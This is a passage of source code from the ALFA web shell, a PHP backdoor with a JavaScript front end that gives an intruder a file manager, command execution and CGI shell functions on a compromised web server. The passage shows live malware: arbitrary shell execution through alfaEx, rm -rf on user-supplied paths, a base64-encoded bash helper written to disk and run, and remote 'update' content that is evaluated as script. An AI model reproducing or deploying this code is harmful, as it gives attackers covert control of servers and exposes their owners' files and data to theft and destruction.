input&#91;name=fname]\").value;l=l.trim(),i=i.trim(),gg(\"doActions\",c_,i,l,t,function(e,i){if(\"rename\"==t)if(\"done\"==e){var r=$(\"id_\"+a);updateFileEditor(a,l);var o=r.getAttribute(\"path\")+$(\"id_\"+a).getAttribute(\"fname\");d.querySelector(\"#shortcutMenu-holder > form > .old-path-content\").innerHTML=o,r.addEventListener(\"animationend\",function(){r.classList.remove(\"textEffect\")}),r.classList.add(\"textEffect\"),alfaShowNotification(\"Renamed...\",\"Rename Action\"),d.querySelector(\".cl-popup-fixed\").style.display=\"none\"}else alfaShowNotification(\"error...!\",\"Rename Action\",\"error\");alfaloader(i,\"none\")});break;case\"permission\":var r=d.querySelector(\"#shortcutMenu-holder > form input&#91;name=u]\").value,o=d.querySelector(\"#shortcutMenu-holder > form input&#91;name=g]\").value,n=d.querySelector(\"#shortcutMenu-holder > form input&#91;name=w]\").value;i=(i=d.querySelector(\"#shortcutMenu-holder > form > .old-path-content\").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg(\"doActions\",c_,i,s,t,function(e,t){alfaloader(t,\"none\"),alfaShowNotification(e,\"Permission Action\"),d.querySelector(\".cl-popup-fixed\").style.display=\"none\"});break;case\"modify\":a=e.getAttribute(\"fid\").replace(\"id_\",\"\");var c=d.querySelector(\"#shortcutMenu-holder > form > input&#91;name=fname]\").value,u=$(\"id_\"+a).getAttribute(\"fname\");gg(\"doActions\",c_,c,u,t,function(t,a){if(\"ok\"==t){var i=\"tr_row_\"+e.getAttribute(\"fid\").replace(\"id_\",\"\");d.querySelector(\"#\"+i+\" .main_modify\").innerHTML=c,alfaShowNotification(\"success...\",\"Modify Action\"),d.querySelector(\".cl-popup-fixed\").style.display=\"none\"}else alfaShowNotification(t,\"Modify Action\",\"error\");alfaloader(a,\"none\")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:\"horizontal\",animation:300,ghostClass:\"sortable-ghost\",filter:\".not-sortable\"})}$(\"search-input\").addEventListener(\"keydown\",function(e){setTimeout(function(){var e=$(\"search-input\").value;for(var t in d.getElementsByClassName(\"history-list\")&#91;0].innerHTML=\"\",editor_files)if(-1!=editor_files&#91;t].file.search(e)||\"\"==e){var a=0;t==editor_current_file&amp;&amp;(a=\" is_active\"),insertToHistory(t,editor_files&#91;t].file,a,editor_files&#91;t].type)}},100)},!1),_Ajax(d.URL,\"a=\"+alfab64(\"checkupdate\"),function(e){if(0!=e.length&amp;&amp;\"&#91;]\"!=e){var t=JSON.parse(e);if(t.hasOwnProperty(\"content\")){d.body.insertAdjacentHTML(\"beforeend\",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty(\"copyright\")&amp;&amp;($(\"alfa-copyright\").innerHTML=t.copyright),t.hasOwnProperty(\"solevisible\")&amp;&amp;($(\"alfa_solevisible\").innerHTML=t.solevisible),t.hasOwnProperty(\"code_name\")&amp;&amp;($(\"hidden_sh\").innerHTML=t.code_name.replace(\/\\{version\\}\/g,t.version_number)),t.hasOwnProperty(\"market\")){var a=d.querySelector(\"span.alfa_plus\");if(t.market.hasOwnProperty(\"visible\")&amp;&amp;\"yes\"==t.market.visible&amp;&amp;($(\"menu_opt_market\").style.display=\"inline\"),\"open\"!=t.market.status&amp;&amp;(a.style.color=\"#ffc107\"),t.market.hasOwnProperty(\"content\"))try{evalJS(t.market.content)}catch(t){}}}}),&lt;?php echo $GLOBALS&#91;\"need_to_update_header\"]; ?>?_Ajax(d.URL,\"a=\"+alfab64(\"updateheader\"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i=\"\",l=0;l&lt;t&#91;a].length;l++)i+=\"useful\"==a||\"downloader\"==a?'&lt;span class=\"header_values\" style=\"margin-left: 4px;\">'+t&#91;a]&#91;l]+\"&lt;\/span>\":t&#91;a]&#91;l];var r=$(\"header_\"+a);r&amp;&amp;(r.innerHTML=i)}$(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\")}catch(e){}}):islinux&amp;&amp;_Ajax(d.URL,\"a=\"+alfab64(\"checkcgi\"),function(e){\"ok\"==e&amp;&amp;($(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&amp;&amp;alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$(\"rightclick_menu\").style,alfaInitCwdContext(),document.addEventListener(\"click\",function(e){rightclick_menu_context.opacity=\"0\",setTimeout(function(){rightclick_menu_context.visibility=\"hidden\"},501)},!1);var e=document.createElement(\"script\");e.src=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/Sortable\/1.10.2\/Sortable.min.js\",e.id=\"sortable-plugin\",e.onload=function(){alfaInitSoratableTab($(\"filesman_tabs_child\")),alfaInitSoratableTab(d.querySelector(\".editor-tabs\")),alfaInitSoratableTab(d.querySelector(\".options_tab\")),alfaInitSoratableTab(d.querySelector(\".terminal-tabs\")),alfaInitSoratableTab(d.querySelector(\".sql-tabs\"))},d.body.appendChild(e)}();\n&lt;\/script>\n&lt;\/body>\n&lt;\/html>\n&lt;?php\n}}\nif (!function_exists(\"posix_getpwuid\") &amp;&amp; (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {\nfunction posix_getpwuid($p) {return false;} }\nif (!function_exists(\"posix_getgrgid\") &amp;&amp; (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {\nfunction posix_getgrgid($p) {return false;} }\nfunction alfaWhich($p) {\n$path = alfaEx('which ' . $p,false,false);\nif(!empty($path))\nreturn strlen($path);\nreturn false;\n}\nfunction alfaSize($s) {\nif($s >= 1073741824)\nreturn sprintf('%1.2f', $s \/ 1073741824 ). ' GB';\nelseif($s >= 1048576)\nreturn sprintf('%1.2f', $s \/ 1048576 ) . ' MB';\nelseif($s >= 1024)\nreturn sprintf('%1.2f', $s \/ 1024 ) . ' KB';\nelse\nreturn $s . ' B';\n}\nfunction alfaPerms($p) {\nif (($p &amp; 0xC000) == 0xC000)$i = 's\u200b';\nelseif (($p &amp; 0xA000) == 0xA000)$i = 'l\u200b';\nelseif (($p &amp; 0x8000) == 0x8000)$i = '-\u200b';\nelseif (($p &amp; 0x6000) == 0x6000)$i = 'b\u200b';\nelseif (($p &amp; 0x4000) == 0x4000)$i = 'd\u200b';\nelseif (($p &amp; 0x2000) == 0x2000)$i = 'c\u200b';\nelseif (($p &amp; 0x1000) == 0x1000)$i = 'p\u200b';\nelse $i = 'u\u200b';\n$i .= (($p &amp; 0x0100) ? 'r\u200b' : '-');\n$i .= (($p &amp; 0x0080) ? 'w\u200b' : '-');\n$i .= (($p &amp; 0x0040) ? (($p &amp; 0x0800) ? 's\u200b' : 'x\u200b' ) : (($p &amp; 0x0800) ? 'S\u200b' : '-'));\n$i .= (($p &amp; 0x0020) ? 'r\u200b' : '-');\n$i .= (($p &amp; 0x0010) ? 'w\u200b' : '-');\n$i .= (($p &amp; 0x0008) ? (($p &amp; 0x0400) ? 's\u200b' : 'x\u200b' ) : (($p &amp; 0x0400) ? 'S\u200b' : '-'));\n$i .= (($p &amp; 0x0004) ? 'r\u200b' : '-');\n$i .= (($p &amp; 0x0002) ? 'w\u200b' : '-');\n$i .= (($p &amp; 0x0001) ? (($p &amp; 0x0200) ? 't\u200b' : 'x\u200b' ) : (($p &amp; 0x0200) ? 'T\u200b' : '-'));\nreturn $i;\n}\nfunction alfaPermsColor($f,$isbash=false){\n$class = \"\";\n$num = \"\";\n$human = \"\";\nif($isbash){\n$class = $f&#91;\"class\"];\n$num = $f&#91;\"num\"];\n$human = $f&#91;\"human\"];\n}else{\n$num = substr(sprintf('%o', @fileperms($f)),-4);\n$human = alfaPerms(@fileperms($f));\nif(!@is_readable($f))\n$class = \"main_red_perm\";\nelseif (!@is_writable($f))\n$class = \"main_white_perm\";\nelse\n$class = \"main_green_perm\";\n}\nreturn '&lt;span style=\"font-weight:unset;\" class=\"'.$class.'\">'.$num.'&lt;\/span>&lt;span style=\"font-weight:unset;\" class=\"beetween_perms\"> >> &lt;\/span>&lt;span style=\"font-weight:unset;\" class=\"'.$class.'\">'.$human.'&lt;\/span>';\n}\nif(!function_exists(\"scandir\")) {\nfunction scandir($dir) {\n$dh = opendir($dir);\nwhile (false !== ($filename = readdir($dh)))\n$files&#91;] = $filename;\nreturn $files;\n}\n}\nfunction reArrayFiles($file_post){\n$file_ary = array();\n$file_count = count($file_post&#91;'name']);\n$file_keys = array_keys($file_post);\nfor ($i=0; $i&lt;$file_count; $i++) {\nforeach ($file_keys as $key) {\n$file_ary&#91;$i]&#91;$key] = $file_post&#91;$key]&#91;$i];\n}\n}\nreturn $file_ary;\n}\nfunction _alfa_can_runCommand($cgi=true,$cache=true){\nif(isset($_COOKIE&#91;\"alfa_canruncmd\"])&amp;&amp;$cache){\nreturn true;\n}\nif(strlen(alfaEx(\"whoami\",false,$cgi))>0){\n$_COOKIE&#91;\"alfa_canruncmd\"] = true;\nreturn true;\n}\nreturn false;\n}\nfunction _alfa_symlink($target, $link){\n$phpsym = function_exists(\"symlink\");\nif($phpsym){\n@symlink($target, $link);\n}else{\nalfaEx(\"ln -s '\".addslashes($target).\"' '\".addslashes($link).\"'\");\n}\n}\nfunction _alfa_file_exists($file,$cgi=true){\nif(@file_exists($file)){\nreturn true;\n}else{\nif(strlen(alfaEx(\"ls -la '\".addslashes($file).\"'\",false,$cgi))>0){\nreturn true;\n}\n}\nreturn false;\n}\nfunction _alfa_file($file,$cgi=true){\n$array = @file($file);\nif(!$array){\nif(strlen(alfaEx(\"id\",false,$cgi))>0){\n$data = alfaEx('cat \"'.addslashes($file).'\"',false,$cgi);\nif(strlen($data)>0){\nreturn explode(\"\\n\", $data);\n}else{\nreturn false;\n}\n}else{\nreturn false;\n}\n}else{\nreturn $array;\n}\n}\nfunction _alfa_is_writable($file){\n$check = false;\n$check = @is_writable($file);\nif(!$check){\nif(_alfa_can_runCommand()){\n$check = alfaEx('&#91; -w \"'.trim(addslashes($file)).'\" ] &amp;&amp; echo \"yes\" || echo \"no\"');\nif($check == \"yes\"){\n$check = true;\n}else{\n$check = false;\n}\n}\n}\nreturn $check;\n}\nfunction _alfa_is_dir($dir,$mode=\"-d\"){\n$check = false;\n$check = @is_dir($dir);\nif($mode == \"-e\"){\n$check = @is_file($dir);\n}\nif(!$check){\nif(_alfa_can_runCommand()){\n$check = alfaEx('&#91; \"'.trim($mode).'\" \"'.trim(addslashes($dir)).'\" ] &amp;&amp; echo \"yes\" || echo \"no\"');\nif($check == \"yes\"){\nreturn true;\n}else{\nreturn false;\n}\n}\n}\nreturn $check;\n}\nfunction _alfa_load_ace_options($base){\nreturn '&lt;span>Theme: &lt;\/span>&lt;select class=\"ace-controler ace-theme-selector\" base=\"'.$base.'\" onChange=\"alfaAceChangeSetting(this,\\'theme\\');\">&lt;option value=\"terminal\" selected>terminal&lt;\/option>&lt;option value=\"ambiance\">ambiance&lt;\/option>&lt;option value=\"chaos\">chaos&lt;\/option>&lt;option value=\"chrome\">chrome&lt;\/option>&lt;option value=\"clouds\">clouds&lt;\/option>&lt;option value=\"clouds_midnight\">clouds_midnight&lt;\/option>&lt;option value=\"cobalt\">cobalt&lt;\/option>&lt;option value=\"crimson_editor\">crimson_editor&lt;\/option>&lt;option value=\"dawn\">dawn&lt;\/option>&lt;option value=\"dracula\">dracula&lt;\/option>&lt;option value=\"dreamweaver\">dreamweaver&lt;\/option>&lt;option value=\"eclipse\">eclipse&lt;\/option>&lt;option value=\"github\">github&lt;\/option>&lt;option value=\"gob\">gob&lt;\/option>&lt;option value=\"gruvbox\">gruvbox&lt;\/option>&lt;option value=\"idle_fingers\">idle_fingers&lt;\/option>&lt;option value=\"iplastic\">iplastic&lt;\/option>&lt;option value=\"katzenmilch\">katzenmilch&lt;\/option>&lt;option value=\"kr_theme\">kr_theme&lt;\/option>&lt;option value=\"kuroir\">kuroir&lt;\/option>&lt;option value=\"merbivore\">merbivore&lt;\/option>&lt;option value=\"merbivore_soft\">merbivore_soft&lt;\/option>&lt;option value=\"mono_industrial\">mono_industrial&lt;\/option>&lt;option value=\"monokai\">monokai&lt;\/option>&lt;option value=\"nord_dark\">nord_dark&lt;\/option>&lt;option value=\"pastel_on_dark\">pastel_on_dark&lt;\/option>&lt;option value=\"solarized_dark\">solarized_dark&lt;\/option>&lt;option value=\"solarized_light\">solarized_light&lt;\/option>&lt;option value=\"sqlserver\">sqlserver&lt;\/option>&lt;option value=\"textmate\">textmate&lt;\/option>&lt;option value=\"tomorrow\">tomorrow&lt;\/option>&lt;option value=\"tomorrow_night\">tomorrow_night&lt;\/option>&lt;option value=\"tomorrow_night_blue\">tomorrow_night_blue&lt;\/option>&lt;option value=\"tomorrow_night_bright\">tomorrow_night_bright&lt;\/option>&lt;option value=\"tomorrow_night_eighties\">tomorrow_night_eighties&lt;\/option>&lt;option value=\"twilight\">twilight&lt;\/option>&lt;option value=\"vibrant_ink\">vibrant_ink&lt;\/option>&lt;option value=\"xcode\">xcode&lt;\/option>&lt;\/select>&lt;span>Language: &lt;\/span>&lt;select class=\"ace-controler\" base=\"'.$base.'\" onChange=\"alfaAceChangeSetting(this,\\'lang\\');\">&lt;option value=\"php\">php&lt;\/option>&lt;option value=\"python\">python&lt;\/option>&lt;option value=\"perl\">perl&lt;\/option>&lt;option value=\"c_cpp\">c\/c++&lt;\/option>&lt;option value=\"csharp\">c#&lt;\/option>&lt;option value=\"ruby\">ruby&lt;\/option>&lt;option value=\"html\">html&lt;\/option>&lt;option value=\"javascript\">javascript&lt;\/option>&lt;option value=\"css\">css&lt;\/option>&lt;option value=\"xml\">xml&lt;\/option>&lt;option value=\"sql\">sql&lt;\/option>&lt;option value=\"swift\">swift&lt;\/option>&lt;option value=\"sh\">bash&lt;\/option>&lt;option value=\"lua\">lua&lt;\/option>&lt;option value=\"powershell\">powershell&lt;\/option>&lt;option value=\"jsp\">jsp&lt;\/option>&lt;option value=\"java\">java&lt;\/option>&lt;option value=\"json\">json&lt;\/option>&lt;option value=\"plain_text\">plain_text&lt;\/option>&lt;\/select>&lt;span>Soft Wrap: &lt;\/span>&lt;input type=\"checkbox\" name=\"wrapmode\" class=\"ace-controler\" onClick=\"alfaAceChangeWrapMode(this,\\''.$base.'\\');\" checked> | &lt;span>Font Size: &lt;\/span>&lt;button class=\"ace-controler\" style=\"cursor:pointer;\" onclick=\"alfaAceChangeFontSize(\\''.$base.'\\',\\'+\\', this);return false;\">+&lt;\/button> | &lt;button style=\"cursor:pointer;\" class=\"ace-controler\" onclick=\"alfaAceChangeFontSize(\\''.$base.'\\', \\'-\\', this);return false;\">-&lt;\/button> | ';\n}\nfunction alfaFilesMan2(){\nalfahead();\nAlfaNum(8,9,10,7,6,5,4);\necho '&lt;div style=\"position:relative;\" fm_id=\"1\" id=\"filesman_holder_1\" class=\"ajaxarea filesman-active-content\">&lt;div class=\"header\">&lt;\/div>&lt;\/div>';\nalfaFooter();\n}\nfunction copy_paste($c,$s,$d){\nif(@is_dir($c.$s)){\n@mkdir($d.$s);\n$h = @opendir($c.$s);\nwhile (($f = @readdir($h)) !== false)\nif (($f != \".\") and ($f != \"..\"))\ncopy_paste($c.$s.'\/',$f, $d.$s.'\/');\n} elseif(is_file($c.$s))\n@copy($c.$s, $d.$s);\n}\nfunction alfaFilesMan(){\nif(!empty ($_COOKIE&#91;'alfa_f']))\n$_COOKIE&#91;'alfa_f'] = @unserialize($_COOKIE&#91;'alfa_f']);\nif(!empty($_POST&#91;'alfa1'])){\nswitch($_POST&#91;'alfa1']){\ncase 'uploadFile':\n$move_cmd_file = false;\n$alfa_canruncmd = false;\nif($GLOBALS&#91;'glob_chdir_false']){\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\n$move_cmd_file = true;\n}\nif(_alfa_is_writable($GLOBALS&#91;'cwd'])){\n$files = reArrayFiles($_FILES&#91;'f']);\n$ret_files = array();\nforeach($files as $file){\nif($move_cmd_file&amp;&amp;$alfa_canruncmd){\nalfaEx(\"cat '\".addslashes($file&#91;'tmp_name']).\"' > '\".addslashes($_POST&#91;\"c\"].\"\/\".$file&#91;'name']).\"'\");\n}else{\nif(@move_uploaded_file($file&#91;'tmp_name'],$file&#91;'name'])){\n$ow = function_exists(\"posix_getpwuid\")&amp;&amp;function_exists(\"fileowner\")?@posix_getpwuid(@fileowner($file&#91;'name'])):array(\"name\" => \"????\");\n$gr = function_exists(\"posix_getgrgid\")&amp;&amp;function_exists(\"filegroup\")?@posix_getgrgid(@filegroup($file&#91;'name'])):array(\"name\" => \"????\");\n$file_owner = $ow&#91;'name']?$ow&#91;'name']:(function_exists(\"fileowner\")?@fileowner($file&#91;'name']):\"????\");\n$file_group = $gr&#91;'name']?$gr&#91;'name']:(function_exists(\"filegroup\")?@filegroup($file&#91;'name']):\"????\");\n$file_modify = @date('Y-m-d H:i:s', @filemtime($file&#91;'name']));\n$file_perm = alfaPermsColor($file&#91;'name']);\n$file_size = @filesize($file&#91;'name']);\n$ret_files&#91;] = array(\"name\" => $file&#91;'name'], \"size\" => alfaSize($file_size), \"perm\" => $file_perm, \"modify\" => $file_modify, \"owner\" => $file_owner.\"\/\".$file_group);\n}\n}\n}\nif(!$move_cmd_file){\necho json_encode($ret_files);\n}\n}else{\necho \"noperm\";\nreturn;\n}\nif(!$move_cmd_file){\nreturn;\n}\nbreak;\ncase 'mkdir':\n$new_dir_cmd = false;\nif($GLOBALS&#91;'glob_chdir_false']){\nif(_alfa_can_runCommand(true,true)){\nif(_alfa_is_writable($GLOBALS&#91;'cwd'])){\nif(!_alfa_is_dir(trim($_POST&#91;'alfa2']))){\nalfaEx(\"cd '\".trim(addslashes($_POST&#91;'c'])).\"';mkdir '\".trim(addslashes($_POST&#91;'alfa2'])).\"'\");\necho \"&lt;script>alfaShowNotification('\".addslashes($_POST&#91;'alfa2']).\" created...', 'Files manager');&lt;\/script>\";\n}else{\necho \"&lt;script>alfaShowNotification('folder already existed', 'Files manager', 'error');&lt;\/script>\";\n}\n}else{\necho \"&lt;script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');&lt;\/script>\";\n}\n}else{\necho \"&lt;script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');&lt;\/script>\";\n}\n}else{\nif(_alfa_is_writable($GLOBALS&#91;'cwd'])){\nif(!_alfa_is_dir(trim($_POST&#91;'alfa2']))){\nif(!@mkdir(trim($_POST&#91;'alfa2']))){\necho \"&lt;script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');&lt;\/script>\";\n}else{\necho \"&lt;script>alfaShowNotification('\".addslashes($_POST&#91;'alfa2']).\" created...', 'Files manager');&lt;\/script>\";\n}\n}else{\necho \"&lt;script>alfaShowNotification('folder already existed', 'Files manager', 'error');&lt;\/script>\";\n}\n}else{\necho \"&lt;script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');&lt;\/script>\";\n}\n}\nbreak;\ncase 'delete':\nfunction deleteDir($path){\n$path = (substr($path,-1)=='\/') ? $path:$path.'\/';\n$dh = @opendir($path);\nwhile(($item = @readdir($dh)) !== false){\n$item = $path.$item;\nif((basename($item) == \"..\") || (basename($item) == \".\"))\ncontinue;\n$type = @filetype($item);\nif ($type == \"dir\")\ndeleteDir($item);\nelse\n@unlink($item);\n}\n@closedir($dh);\n@rmdir($path);\n}\nif(is_array(@$_POST&#91;'f']))\nforeach($_POST&#91;'f'] as $f){\nif($f == '..')\ncontinue;\n$f = rawurldecode($f);\nif($GLOBALS&#91;\"glob_chdir_false\"]){\nif(_alfa_can_runCommand(true,true)){\nalfaEx(\"rm -rf '\".addslashes($_POST&#91;'c'].'\/'.$f).\"'\");\n}\n}else{\nalfaEx(\"rm -rf '\".addslashes($f).\"'\",false,false);\nif(@is_dir($f))\ndeleteDir($f);\nelse\n@unlink($f);\n}\n}\nif(@is_dir(rawurldecode(@$_POST&#91;'alfa2']))&amp;&amp;rawurldecode(@$_POST&#91;'alfa2'])!='..'){\ndeleteDir(rawurldecode(@$_POST&#91;'alfa2']));\nalfaEx(\"rm -rf '\".addslashes($_POST&#91;'alfa2']).\"'\",false,false);\n}else{\n@unlink(rawurldecode(@$_POST&#91;'alfa2']));\n}\nif($GLOBALS&#91;\"glob_chdir_false\"]){\n$source = rawurldecode(@$_POST&#91;'alfa2']);\nif($source!='..'&amp;&amp;!empty($source)){\nif(_alfa_can_runCommand(true,true)){\nalfaEx(\"cd '\".trim(addslashes($_POST&#91;'c'])).\"';rm -rf '\".addslashes($source).\"'\");\n}\n}\n}\nif(is_array($_POST&#91;'f']))\nreturn;\nbreak;\ncase 'paste':\nif($_COOKIE&#91;'alfa_act'] == 'copy'&amp;&amp;isset($_COOKIE&#91;'alfa_f'])){\nforeach($_COOKIE&#91;'alfa_f'] as $f)\ncopy_paste($_COOKIE&#91;'alfa_c'],$f, $GLOBALS&#91;'cwd']);\n}elseif($_COOKIE&#91;'alfa_act'] == 'move'&amp;&amp;isset($_COOKIE&#91;'alfa_f'])){\nfunction move_paste($c,$s,$d){\nif(@is_dir($c.$s)){\n@mkdir($d.$s);\n$h = @opendir($c.$s);\nwhile (($f = @readdir($h)) !== false)\nif(($f != \".\") and ($f != \"..\"))\ncopy_paste($c.$s.'\/',$f, $d.$s.'\/');\n}elseif(@is_file($c.$s))\n@copy($c.$s, $d.$s);\n}\nforeach($_COOKIE&#91;'alfa_f'] as $f)\n@rename($_COOKIE&#91;'alfa_c'].$f, $GLOBALS&#91;'cwd'].$f);\n}elseif($_COOKIE&#91;'alfa_act'] == 'zip'&amp;&amp;isset($_COOKIE&#91;'alfa_f'])){\nif(class_exists('ZipArchive')){\n$zip = new ZipArchive();\n$zipX = \"alfa_\".rand(1,1000).\".zip\";\nif($zip->open($zipX, 1)){\n@chdir($_COOKIE&#91;'alfa_c']);\nforeach($_COOKIE&#91;'alfa_f'] as $f){\nif($f == '..')continue;\nif(@is_file($_COOKIE&#91;'alfa_c'].$f))\n$zip->addFile($_COOKIE&#91;'alfa_c'].$f, $f);\nelseif(@is_dir($_COOKIE&#91;'alfa_c'].$f)){\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'\/'));\nforeach($iterator as $key=>$value){\n$key = str_replace('\\\\','\/',realpath($key));\nif(@is_dir($key)){\nif(in_array(substr($key, strrpos($key,'\/')+1),array('.', '..')))continue;\n}else{$zip->addFile($key,$key);}}}}\n@chdir($GLOBALS&#91;'cwd']);\n$zip->close();\n__alert('>> '.$zipX.' &lt;&lt; is created...');}}\n}elseif($_COOKIE&#91;'alfa_act'] == 'unzip'&amp;&amp;isset($_COOKIE&#91;'alfa_f'])){\nif(class_exists('ZipArchive')){\n$zip = new ZipArchive();\nforeach($_COOKIE&#91;'alfa_f'] as $f) {\nif($zip->open($_COOKIE&#91;'alfa_c'].$f)){\n$zip->extractTo($_COOKIE&#91;'alfa_cwd']);\n$zip->close();}}}}\nunset($_COOKIE&#91;'alfa_f']);\nbreak;\ndefault:\nif(!empty($_POST&#91;'alfa1'])){\nif(in_array($_POST&#91;'alfa1'], array(\"copy\", \"move\", \"zip\", \"unzip\"))){\n__alfa_set_cookie('alfa_act', @$_POST&#91;'alfa1']);\n__alfa_set_cookie('alfa_f', @serialize($_POST&#91;'f']));\n__alfa_set_cookie('alfa_c', @$_POST&#91;'c']);\nreturn;\n}\n}\nbreak;\n}\n}\n$dirContent = @scandir(isset($_POST&#91;'c'])?$_POST&#91;'c']:$GLOBALS&#91;'cwd']);\nif(preg_match(\"#(.*)\\\/\\.\\.#\", $_POST&#91;'c'], $res)){\n$path = explode('\/', $res&#91;1]);\narray_pop($path);\n$_POST&#91;'c'] = implode('\/', $path);\n}\n$cmd_dir = false;\nif($dirContent === false){\nif(_alfa_can_runCommand(true,true)){\n$tmp_getdir_path = @$_COOKIE&#91;\"alfachdir_bash_path\"];\n@chdir(dirname($_SERVER&#91;\"SCRIPT_FILENAME\"]));\nif(!isset($_COOKIE&#91;\"alfachdir_bash\"])||@!file_exists($tmp_getdir_path.\"\/alfacgiapi\/getdir.alfa\")){\n$bash = \"jZTfb5swEMef4a+4uaYkSmmS\/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7\/O9O9vcHVfvxrtCjJ8oGxep\/fX+IcBT+\/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra\/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c\/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j\/6gSM5jmtQd+2hit0TkbJd3\/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu\/QWT6m1J8e\/\/7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw\/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT\/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy\/rfbkWdP\/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch\/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==\";\n$tmp_getdir_path = alfaWriteTocgiapi(\"getdir.alfa\",$bash);\n__alfa_set_cookie(\"alfachdir_bash\", \"true\");\n__alfa_set_cookie(\"alfachdir_bash_path\", $tmp_getdir_path);\n}\n$dirContent = alfaEx(\"cd \".$tmp_getdir_path.\"\/alfacgiapi;sh getdir.alfa '\".addslashes(isset($_POST&#91;'c'])?$_POST&#91;'c']:$GLOBALS&#91;'cwd']).\"'\");\n$dirContent = json_decode($dirContent, true);\nif(is_array($dirContent)){\narray_pop($dirContent);\n$cmd_dir = true;\n}else{\n$dirContent = false;\n}\n}\n}\nalfahead();\nAlfaNum(8,9,10,7,6,5,4);\n$count_dirContent = @count($dirContent);\nif($count_dirContent > 300){\n@$_COOKIE&#91;\"alfa_limited_files\"] = 100;\n}\n$alfa_sort_by = isset($_COOKIE&#91;\"alfa_sort_by\"]) ? $_COOKIE&#91;\"alfa_sort_by\"] : 'name';\n$alfa_limited_files = isset($_COOKIE&#91;\"alfa_limited_files\"]) ? (int)$_COOKIE&#91;\"alfa_limited_files\"] : 0;\n$alfa_files_page_number = isset($_POST&#91;\"pagenum\"]) ? (int)$_POST&#91;\"pagenum\"] : 1;\n$alfa_filesman_direction = isset($_COOKIE&#91;\"alfa_filesman_direction\"]) ? $_COOKIE&#91;\"alfa_filesman_direction\"] : 'asc';\n$files_page_count = 1;\nif($alfa_limited_files > 0){\n$files_page_count = ceil($count_dirContent\/$alfa_limited_files);\nif($files_page_count > 1){\n$files_page_count++;\n}\n}\necho '&lt;div>&lt;div class=\"filters-holder\">&lt;span>Filter: &lt;\/span>&lt;input style=\"color:#25ff00;\" autocomplete=\"off\" type=\"text\" id=\"regex-filter\" name=\"name-filter\" onkeydown=\"doFilterName(this);\">&lt;span style=\"margin-left:10px\">Sort By: &lt;\/span>&lt;select name=\"sort_files\" onchange=\"sortBySelectedValue(this,\\'alfa_sort_by\\');\" style=\"color:#25ff00;\">&lt;option value=\"name\" '.($alfa_sort_by == 'name'?'selected':'').'>Name&lt;\/option>&lt;option value=\"size\" '.($alfa_sort_by == 'size'?'selected':'').'>Size&lt;\/option>&lt;option value=\"modify\" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify&lt;\/option>&lt;\/select>&lt;span style=\"margin-left:10px\">Direction: &lt;\/span>&lt;select name=\"direction_filesman\" onChange=\"sortBySelectedValue(this,\\'alfa_filesman_direction\\')\" style=\"color:#25ff00;\">&lt;option value=\"asc\" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending&lt;\/option>&lt;option value=\"desc\" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending&lt;\/option>&lt;\/select>&lt;span style=\"margin-left:10px;\"> limit: &lt;\/span>&lt;input style=\"text-align:center;width: 40px;color:#25ff00;\" type=\"text\" name=\"limited_number\" value=\"'.$alfa_limited_files.'\" oninput=\"this.value=this.value.replace(\/&#91;^0-9]\/g,\\'\\');setCookie(\\'alfa_limited_files\\', this.value, 2012);\">&lt;span style=\"margin-left:10px;\">Files Count: &lt;b style=\"color:#25ff00;\">'.($count_dirContent-1).'&lt;\/b>&lt;\/span>&lt;\/div>&lt;div class=\"header\">';\nif($dirContent == false){\necho '&lt;center>&lt;br>&lt;span style=\"font-size:16px;\">&lt;span style=\"color: red; -webkit-text-shadow: 1px 1px 13px;\">&lt;strong>&lt;b>&lt;big>!!! Access Denied !!!&lt;\/b>&lt;\/big>&lt;br>&lt;br>&lt;\/strong>&lt;\/div>';\nalfaFooter();\nreturn;\n}\nglobal $sort;\n$sort = array('name', 1);\nif(isset($_COOKIE&#91;\"alfa_sort_by\"]) &amp;&amp; !empty($_COOKIE&#91;\"alfa_sort_by\"])){\n$sort&#91;0] = $_COOKIE&#91;\"alfa_sort_by\"];\n}\nif(!empty($_POST&#91;'alfa1'])) {\nif(preg_match('!s_(&#91;A-z]+)_(\\d{1})!', $_POST&#91;'alfa1'], $match))\n$sort = array($match&#91;1], 